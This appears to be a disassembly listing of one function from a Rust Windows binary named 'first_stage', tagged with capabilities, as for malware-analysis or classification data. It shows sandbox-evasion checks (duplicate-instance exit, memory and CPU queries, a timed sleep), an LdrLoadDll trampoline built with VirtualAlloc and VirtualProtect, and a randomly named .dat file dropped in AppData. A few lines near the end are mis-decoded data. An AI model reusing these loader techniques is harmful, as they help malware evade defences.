Function at 0x140004a79
Capabilities:
Enumerate processes
Get memory capacity
Get system information on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1328
call sym.___chkstk_ms
sub rsp, rax
movaps xmmword [rsp + 0x1310], xmm6
movabs rdi, 0x8000000000000000
lea rsi, [rsp + 0x9f0]
mov rcx, rsi
call sym.std::env::current_exe::h9daaea5888862ea2
mov qword [rsp + 0x38], rdi
cmp qword [rsi], rdi
je 0x14000725f
movups xmm0, xmmword [rsp + 0x9f0]
movups xmm1, xmmword [rsp + 0xa00]
lea rcx, [rsp + 0x1f0]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h762e8fd688342b7c
mov rcx, rax
call sym.std::path::Path::file_name::h3aa442f3c9e44a22
test rax, rax
je 0x14000729b
mov r8, rdx
lea rcx, [rsp + 0x9f0]
mov rdx, rax
call sym.std::sys::os_str::wtf8::Slice::to_string_lossy::hf3badfdfdbf694e1
lea rsi, [rsp + 0x770]
lea rdx, [rsp + 0x9f0]
mov rcx, rsi
call sym.__alloc::borrow::Cow_str__as_alloc::string::ToString_::to_string::h4530c8b0aa13bb1e
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::hc6a9898f04da98c0
lea r14, [rsp + 0x9f0]
mov rcx, r14
call sym.core::ptr::drop_in_place_alloc::borrow::Cow_str__::h8d5d16e0a45339b1
and qword [rsp + 0x640], 0
mov qword [rsp + 0x648], 8
and qword [rsp + 0x650], 0
mov ecx, 2
xor edx, edx
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x1400072ac
mov rbx, rax
lea r14, [rsp + 0xa1c]
mov r8d, 0x104
mov rcx, r14
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 - 0x2c], 0x130
and dword [r14 - 0x24], 0
xorps xmm0, xmm0
movups xmmword [r14 - 0x1c], xmm0
movups xmmword [r14 - 0x10], xmm0
lea rdx, [rsp + 0x9f0]
mov rcx, rbx
call sub.kernel32.dll_Process32First
test eax, eax
je 0x1400072ec
lea r15, [rsp + 0x1f0]
lea rdi, [rsp + 0x90]
lea r12, [rsp + 0x640]
lea r13, [rsp + 0x9f0]
mov rcx, r14
call sym.strlen
lea r8, [rax + 1]
mov rcx, r15
mov rdx, r14
call sym.alloc::ffi::c_str::__impl_core::ffi::c_str::CStr_::to_string_lossy::h842f4805a7938315
mov rcx, rdi
mov rdx, r15
call sym.__alloc::borrow::Cow_str__as_alloc::string::ToString_::to_string::h4530c8b0aa13bb1e
mov rbp, qword [rsp + 0x650]
cmp rbp, qword [rsp + 0x640]
jne 0x140004c1f
mov rcx, r12
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h390038979044e980
mov rax, qword [rsp + 0x648]
imul rcx, rbp, 0x18
movups xmm0, xmmword [rsp + 0x90]
mov rdx, qword [rsp + 0xa0]
mov qword [rax + rcx + 0x10], rdx
movups xmmword [rax + rcx], xmm0
inc rbp
mov qword [rsp + 0x650], rbp
mov rcx, r15
call sym.core::ptr::drop_in_place_alloc::borrow::Cow_str__::h8d5d16e0a45339b1
mov rcx, rbx
mov rdx, r13
call sub.kernel32.dll_Process32Next
test eax, eax
jne 0x140004be3
mov rcx, rbx
call fcn.1401533ac
mov r15, qword [rsp + 0x650]
mov qword [rsp + 0x200], r15
movups xmm0, xmmword [rsp + 0x640]
movaps xmmword [rsp + 0x1f0], xmm0
test r15, r15
je 0x140004ce3
mov r12, qword [rsp + 0x1f8]
mov rbx, qword [rsp + 0x778]
mov r14, qword [rsp + 0x780]
add r12, 0x10
xor r13d, r13d
mov rcx, qword [r12 - 8]
mov rdx, qword [r12]
mov r8, rbx
mov r9, r14
call sym.___A__as_core::slice::cmp::SlicePartialEq_B__::equal::ha9a597aa91aee52c
movzx eax, al
add r13, rax
add r12, 0x18
dec r15
jne 0x140004cb6
cmp r13, 1
ja 0x1400074ab
lea rcx, [rsp + 0x1f0]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_alloc::string::String__::ha6dc2871a808b40f
lea rcx, [rsp + 0x770]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::hc6a9898f04da98c0
xorps xmm6, xmm6
lea rsi, [rsp + 0x9f0]
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
mov rcx, rsi
call sub.kernel32.dll_GetSystemInfo
movaps xmmword [rsi], xmm6
movaps xmmword [rsi + 0x30], xmm6
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
mov dword [rsi], 0x40
lea rcx, [rsp + 0x9f0]
call sub.kernel32.dll_GlobalMemoryStatusEx
test eax, eax
je 0x140004d66
lea rsi, [rsp + 0x1f0]
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
mov rcx, rsi
call sub.kernel32.dll_GetSystemInfo
cmp dword [rsi + 4], 0
je 0x14000749f
call sym.std::time::Instant::now::h9754779fae750209
lea rsi, [rsp + 0x9f0]
mov qword [rsi], rax
mov dword [rsi + 8], edx
mov ecx, 2
mov edx, 0x29b92700
call sym.std::thread::sleep::h68e8f5e4bd9c87ea
mov rcx, rsi
call sym.std::time::Instant::elapsed::hf4a879b0452a25d9
lea rcx, [0x140157f48]
call sub.kernel32.dll_LoadLibraryA
test rax, rax
je 0x14000734a
lea rdx, str.LdrLoadDll
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140007387
add rax, 5
lea rbx, [rsp + 0x1f0]
mov qword [rbx], rax
lea rsi, [rsp + 0x90]
mov dword [rsi], 0x245c8948
mov byte [rsi + 4], 0x10
lea r15, [rsp + 0x1280]
mov word [r15], 0xbb49
lea rdi, [rsp + 0x770]
mov dword [rdi], 0xc3e3ff41
mov edx, 0x13
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call sub.kernel32.dll_VirtualAlloc
mov r14, rax
mov r8d, 5
mov rcx, rax
mov rdx, rsi
call sym.first_stage::copy_memory::h048bf04f2e766c08
lea rcx, [r14 + 5]
mov r8d, 2
mov rdx, r15
call sym.first_stage::copy_memory::h048bf04f2e766c08
lea rcx, [r14 + 7]
mov r8d, 8
mov rdx, rbx
call sym.first_stage::copy_memory::h048bf04f2e766c08
lea rcx, [r14 + 0xf]
mov r8d, 4
mov rdx, rdi
call sym.first_stage::copy_memory::h048bf04f2e766c08
lea r9, [rsp + 0x640]
and dword [r9], 0
mov edx, 0x1e
mov rcx, r14
mov r8d, 0x20
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x140007393
lea rdi, [rsp + 0x9f0]
mov rcx, rdi
call sym.dirs::home_dir::h1257e83e590799aa
movabs rax, 0x8000000000000000
cmp qword [rdi], rax
je 0x1400073d0
movups xmm0, xmmword [rsp + 0x9f0]
movups xmm1, xmmword [rsp + 0xa00]
movaps xmmword [rsp + 0x610], xmm1
movaps xmmword [rsp + 0x600], xmm0
call sym.rand::rngs::thread::thread_rng::h949749f3885880a3
mov rdi, rax
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x9f0]
and qword [rcx], 0
mov qword [rcx + 8], 1
and qword [rcx + 0x10], 0
mov r15d, 4
mov r8d, 4
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h4659c14aed6972df
mov rbx, rdi
add rbx, 0x10
lea r12, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fgeneric_array_0.14.7_srclib.rsSlice_must_be_the_same_length_as_the_array
lea r14, [rsp + 0x9f0]
dec r15
mov rcx, qword [rdi + 0x110]
cmp rcx, 0x40
jb 0x140004f43
mov rcx, rbx
xor edx, edx
call sym.rand_core::block::BlockRng_R_::generate_and_set::h477f0f1589d5b6d9
mov rcx, qword [rdi + 0x110]
cmp rcx, 0x40
jae 0x1400071eb
mov eax, dword [rdi + rcx*4 + 0x10]
mov edx, eax
shr edx, 0x1b
inc rcx
mov qword [rdi + 0x110], rcx
cmp edx, 0x1e
ja 0x140004f22
shr eax, 0x1a
movzx edx, byte [rax + r12]
mov rcx, r14
call fcn.1400039ac
test r15, r15
jne 0x140004f18
mov rax, qword [rsp + 0xa00]
mov qword [rsp + 0x540], rax
movups xmm0, xmmword [rsp + 0x9f0]
movaps xmmword [rsp + 0x530], xmm0
lea rcx, [rsp + 0x1f0]
call sym.__alloc::rc::Rc_T_A__as_core::ops::drop::Drop_::drop::h349e25dd7097c970
lea rcx, [rsp + 0x600]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h762e8fd688342b7c
mov r8, rdx
mov qword [rsp + 0x20], 0x10
lea r9, str.AppData_Roaming_.dat
lea rcx, [rsp + 0x1f0]
mov rdx, rax
call sym.std::path::Path::_join::h21b30d6a77186907
lea rcx, [rsp + 0x1f0]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h762e8fd688342b7c
mov rdi, rax
mov rbx, rdx
lea r14, [rsp + 0x530]
mov qword [rsp + 0x90], r14
lea rax, [0x140158020]
lea rdx, [rsp + 0x9f0]
mov qword [rdx], rax
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
lea r13, [0x140003b33]
mov qword [rsp + 0x98], r13
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x858]
call fcn.1400036c7
movups xmm0, xmmword [rsp + 0x858]
lea r9, [rsp + 0x9f0]
movaps xmmword [r9], xmm0
mov rax, qword [rsp + 0x868]
mov qword [r9 + 0x10], rax
lea rcx, [rsp + 0x838]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::join::hec355db9cb321968
lea rcx, [rsp + 0x1f0]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::hc6a9898f04da98c0
lea rcx, [rsp + 0x600]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h762e8fd688342b7c
mov r8, rdx
mov qword [rsp + 0x20], 0x10
lea r9, str.AppData_Roaming_.dat
lea rcx, [rsp + 0x1f0]
mov rdx, rax
call sym.std::path::Path::_join::h21b30d6a77186907
lea rcx, [rsp + 0x1f0]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h762e8fd688342b7c
mov rdi, rax
mov rbx, rdx
lea rax, [0x140158048]
lea rdx, [rsp + 0x9f0]
mov qword [rdx], rax
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], r13
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x870]
call fcn.1400036c7
movups xmm0, xmmword [rsp + 0x870]
lea r9, [rsp + 0x9f0]
movaps xmmword [r9], xmm0
mov rax, qword [rsp + 0x880]
mov qword [r9 + 0x10], rax
lea rcx, [rsp + 0x620]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::join::hec355db9cb321968
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::hc6a9898f04da98c0
and dword [rsp + 0x9f0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x9f8], xmm0
mov dword [rsp + 0xa08], 7
and qword [rsp + 0xa0c], 0
and word [rsp + 0xa14], 0
mov al, 1
mov byte [rsp + 0xa11], al
mov byte [rsp + 0xa14], al
mov byte [rsp + 0xa13], al
lea rcx, [rsp + 0x620]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h762e8fd688342b7c
mov r8, rdx
lea rcx, [rsp + 0x9f0]
mov rdx, rax
call sym.std::fs::OpenOptions::_open::hfe692f99347c6b56
test rax, rax
jne 0x1400073e8
mov qword [rsp + 0x30], rdx
and qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 1
and qword [rsp + 0x68], 0
lea rcx, [rsp + 0x838]
add al, ch
xor al, 0x42
adc byte [rax], al
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rand_core_0.6.4_src_block.rs
mov edx, 0x40
call sym.core::panicking::panic_bounds_check::h89dd6d9d6cc5b8cb
jmp 0x140007561
mov rax, qword [rsp + 0x9f8]
lea r8, [rsp + 0x1f0]
mov qword [r8], rax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401579a8]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::hcb054df1f1b53880
mov edx, 0x2b
call sym.core::result::unwrap_failed::haadc05bb4cb07031
jmp 0x140007561
lea rcx, str.src_main.rs
call sym.core::option::unwrap_failed::h98f4f271f832d365
jmp 0x140007561
call sub.kernel32.dll_GetLastError
lea rcx, [rsp + 0x90]
mov dword [rcx], eax
lea rax, [rsp + 0x1f0]
mov qword [rax], rcx
lea rcx, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h31518cda39bf994a]
mov qword [rax + 8], rcx
lea rcx, str.Failed_to_create_snapshot:
mov qword [rsp + 0x9f0], rcx
lea rdx, str.src_main.rs
mov rdi, r14
jmp 0x140007327
call sub.kernel32.dll_GetLastError
lea rcx, [rsp + 0x1280]
mov dword [rcx], eax
lea rax, [rsp + 0x90]
mov qword [rax], rcx
lea rcx, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h31518cda39bf994a]
mov qword [rax + 8], rcx
lea rcx, str.Failed_to_get_first_process:
mov qword [rsp + 0x1f0], rcx
lea rdx, str.src_main.rs
mov ecx, 1
mov qword [rdi + 8], rcx
and qword [rdi + 0x20], 0
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rcx
mov rcx, rdi
call sym.core::panicking::panic_fmt::ha3b6c343273f2b7f
jmp 0x140007561
call sym.windows_result::error::Error::from_win32::hf7ad017b9b48088a
lea r8, [rsp + 0x9f0]
mov qword [r8], rax
mov dword [r8 + 8], edx
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401579a8]
lea r9, sym.core::ptr::drop_in_place_windows_result::error::Error_::heed78c5483801ab7
mov edx, 0x2b
call sym.core::result::unwrap_failed::haadc05bb4cb07031
jmp 0x140007561
lea rcx, str.src_main.rs
call sym.core::option::unwrap_failed::h98f4f271f832d365
call sym.windows_result::error::Error::from_win32::hf7ad017b9b48088a
lea r8, [rsp + 0x9f0]
mov qword [r8], rax
mov dword [r8 + 8], edx
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.TODO:_panic_message
lea r9, sym.core::ptr::drop_in_place_windows_result::error::Error_::heed78c5483801ab7
mov edx, 0x13
call sym.core::result::unwrap_failed::haadc05bb4cb07031
jmp 0x140007561
lea rcx, str.Unable_to_get_home_directory
lea r8, str.src_main.rs
mov edx, 0x1c
call sym.core::option::expect_failed::h97e8e474f4147626
lea r8, [rsp + 0x9f0]
mov qword [r8], rdx
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Unable_to_create_file
or al, 0x15
add byte [rbp + rcx*4 + 0xd], cl
cmp eax, dword [0x155ba7424]
add byte [rax], al
add al, ch
mov dword [rbx + rdx], ebp
lea rcx, str.src_main.rs
call sym.core::panicking::panic_const::panic_const_div_by_zero::h899473bb960faed6
mov qword [rsp + 0x90], rsi
lea rax, str.Duplicate_instances_of__detected._Exiting._n
lea rcx, [rsp + 0x9f0]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140003b33]
mov qword [rsp + 0x98], rax
mov qword [rcx + 0x10], rdi
jns 0x1400074f5